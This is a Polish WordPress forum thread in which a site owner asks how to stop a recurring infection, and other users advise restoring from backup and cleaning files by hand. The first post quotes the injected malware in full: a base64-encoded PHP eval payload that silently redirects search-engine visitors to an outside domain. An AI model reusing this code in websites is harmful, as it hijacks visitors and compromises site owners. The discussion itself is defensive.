Wirus na stronie

[janek123]

Witam, mam problem ze stroną postawioną na wordpressie.
Moja witryna została zawirusowana, w każdym pliku .php doklejany był kod:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ycGtzZnQuY29tcHJlc3MudG8vIik7CmV4aXQoKTsNCn0KfQp9Cn0NCn0="));

oczyściłem całą stronę z wirusów, przeskanowałem swój komputer antywirusem, zmieniłem hasło do ftp a wirus powrócił.
Jak mam zabezpieczyć stronę, aby sytuacja się nie powtarzała.

[Marcin Pietrzak]

FAQ My site was hacked

[janek123]

Czytałem, zastosowałem się do zaleceń i nadal strona jest infekowana

[Paweł Knapek]

Albo strona nie została dokładnie oczyszczona
…..albo nie została potem należycie zabezpieczona – z naciskiem na usunięcie samej przyczyny infekcji.

Tutaj nieco opisałem jak sobie radzić z infekcjami http://pl.forums.wordpress.org/topic/zlosliwe-oprogramowanie

[janek123]

sprawdzałem wszystkie pliki programem antywirusowym przed wrzuceniem ich na serwer – nie było infekcji

[Paweł Knapek]

Programem antywirusowym, to sobie możesz ….przez grzeczność, nie powiem co. ;-P

Programy AV nie są po prostu do tego przeznaczone. To tak jak byś chciał żywopłot maszynką do golenia przycinać.

[janek123]

To czym mam je przeskanować, aby to było skuteczne?

[Paweł Knapek]

Po raz enty już chyba powtórzę, nie ma do tego magicznych automatów – „kliknij i już”.
Jak masz pełny backup – przywracasz wszystko z kopii.
Jak nie masz ….to muszę cię zmartwić – odsyfianie, to głównie praca ręczna.
Ewentualny soft, to jedynie wspomagacze -ułatwiają nieco niektóre czynności ale nie zastępują człowieka.
Jeżeli po powyższej lekturze nadal nie wiesz jak sobie z problemem poradzić, to niestety zostaje zlecić to komuś – bo braku wiedzy i doświadczenia nijak nie przeskoczysz.

Inaczej zostają ci jedynie półśrodki np. w postaci wtyczek typu
http://wordpress.org/plugins/gotmls/
http://wordpress.org/plugins/wordfence/ etc. – i żyć złudną nadzieją, że to rozwiązało problem …aż do następnego razu :-p